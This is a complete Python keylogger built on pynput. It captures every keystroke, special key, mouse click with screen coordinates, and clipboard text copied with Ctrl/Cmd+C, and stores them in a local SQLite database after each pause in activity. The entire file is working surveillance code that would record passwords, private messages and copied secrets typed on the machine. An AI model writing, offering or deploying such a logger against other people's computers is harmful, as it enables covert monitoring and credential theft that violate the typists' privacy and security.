from pynput import keyboard
from pynput import mouse
import threading
import time
import datetime
import sqlite3
import pyperclip

DATABASE = 'Logging.db'

typed_text = ""
current_message = ""

key_symbols = {
    'esc': ' esc,',
    'tab': ' tab,',
    'caps_lock': ' (caps lock),',
    'shift': ' (shift),',
    'ctrl': ' ^,',
    'alt': ' ⌥,',
    'cmd': ' ⌘,',
    'space': '  ',
    'enter': ' ⏎,',
    'left': ' ←,',
    'right': ' →,',
    'up': ' ↑,',
    'down': ' ↓,',
    'backspace': ' ⌫',
    'media_play_pause': '⏯,',
    'media_volume_up': ' VOL+,',
    'media_volume_down': ' VOL-,',
    'media_volume_mute': ' MUTE,'
}

last_key_time = time.time()
inactivity_triggered = False

last_clipboard_content = ""
ctrl_pressed = False
cmd_pressed = False

clipboard_accumulator = [] 

keyboard_listener = None
mouse_listener = None

def press(key):
    global typed_text, last_key_time, inactivity_triggered, current_message
    global last_clipboard_content, ctrl_pressed, cmd_pressed, clipboard_accumulator

    if inactivity_triggered:
        print(f'[{time.strftime("%H:%M:%S")}]')
        inactivity_triggered = False

    if key == keyboard.Key.ctrl_l or key == keyboard.Key.ctrl_r:
        ctrl_pressed = True
    if key == keyboard.Key.cmd or key == keyboard.Key.cmd_l or key == keyboard.Key.cmd_r:
        cmd_pressed = True

    if hasattr(key, 'char') and (key.char == 'c' or key.char == 'C'):
        if ctrl_pressed or cmd_pressed:
            try:
                clipboard_content = pyperclip.paste()
                if clipboard_content != last_clipboard_content:
                    last_clipboard_content = clipboard_content
                    clipboard_accumulator.append(clipboard_content)
                    print(f"\n[{time.strftime('%H:%M:%S')}] Clipboard copied content added to accumulator.")
            except Exception as e:
                print("Error reading clipboard:", e)

    try:
        if key.char == ' ':
            typed_text += ' '
            current_message += ' '
            print(' ', end='', flush=True)
        else:
            typed_text += key.char
            current_message += key.char
            print(key.char, end='', flush=True)
    except AttributeError:
        key_name = str(key).replace('Key.', '')
        if key == keyboard.Key.enter:
            typed_text += '\n'
            current_message += '\n'
            print()
        elif key == keyboard.Key.backspace:
            if typed_text:
                typed_text = typed_text[:-1]
            print('\b \b', end='', flush=True)
            current_message += ' ⌫'
        else:
            symbol = key_symbols.get(key_name, f' {key_name},')
            print(f'{symbol}', end='', flush=True)
            current_message += symbol

    last_key_time = time.time()

def release(key):
    global ctrl_pressed, cmd_pressed, keyboard_listener, mouse_listener
    if key == keyboard.Key.ctrl_l or key == keyboard.Key.ctrl_r:
        ctrl_pressed = False
    if key == keyboard.Key.cmd or key == keyboard.Key.cmd_l or key == keyboard.Key.cmd_r:
        cmd_pressed = False

    try:
        if key.char == '`':
            print("\nBacktick detected, stopping listeners...")
            if keyboard_listener:
                keyboard_listener.stop()
            if mouse_listener:
                mouse_listener.stop()
            return False  
    except AttributeError:
        pass

mouse_symbols = {
    mouse.Button.left: 'Left Click',
    mouse.Button.middle: 'Middle Click',
    mouse.Button.right: 'Right Click'
}

def click(x, y, button, pressed):
    global last_key_time, inactivity_triggered, current_message

    if pressed:
        symbol2 = mouse_symbols.get(button, str(button))
        msg = f'[{time.strftime("%H:%M:%S")}] {symbol2} at ({x:.1f}, {y:.1f})'
        print(f'\n{msg}')
        current_message += f'\n{symbol2} at ({x:.1f}, {y:.1f})\n'
        last_key_time = time.time()
        inactivity_triggered = False

def monitor_inactivity():
    global last_key_time, inactivity_triggered, current_message, clipboard_accumulator

    while True:
        if time.time() - last_key_time >= 10 and not inactivity_triggered:
            print()
            print(f'[{time.strftime("%H:%M:%S")}] inactivity')

            if current_message.strip() or clipboard_accumulator:
                print('Message:')
                print(current_message)

                logging_info()
                current_message = ""
                clipboard_accumulator = []

            inactivity_triggered = True
        time.sleep(0.1)

def logging_info():
    date = datetime.date.today()
    time_now = datetime.datetime.now().strftime("%H:%M:%S")

    clipboard_text = "\n\n".join(clipboard_accumulator) if clipboard_accumulator else None

    result = logging(DATABASE, date, time_now, current_message.strip(), clipboard_text)
    print(result)

def logging(DATABASE, date, time_now, message, clipboard_content=None):
    try:
        connect = sqlite3.connect(DATABASE)
        cursor = connect.cursor()
        print("Inserting...", date, time_now, message, clipboard_content)
        cursor.execute(
            "INSERT INTO Logging (Date, Time, Input, clipboard) VALUES (?, ?, ?, ?)",
            (date, time_now, message, clipboard_content)
        )
        connect.commit()
        return "Logged successfully."
    except sqlite3.Error as e:
        return f"An error occurred: {e}"
    finally:
        if connect:
            connect.close()

keyboard_listener = keyboard.Listener(on_press=press, on_release=release)
mouse_listener = mouse.Listener(on_click=click)

keyboard_listener.start()
mouse_listener.start()

threading.Thread(target=monitor_inactivity, daemon=True).start()

keyboard_listener.join()
mouse_listener.join()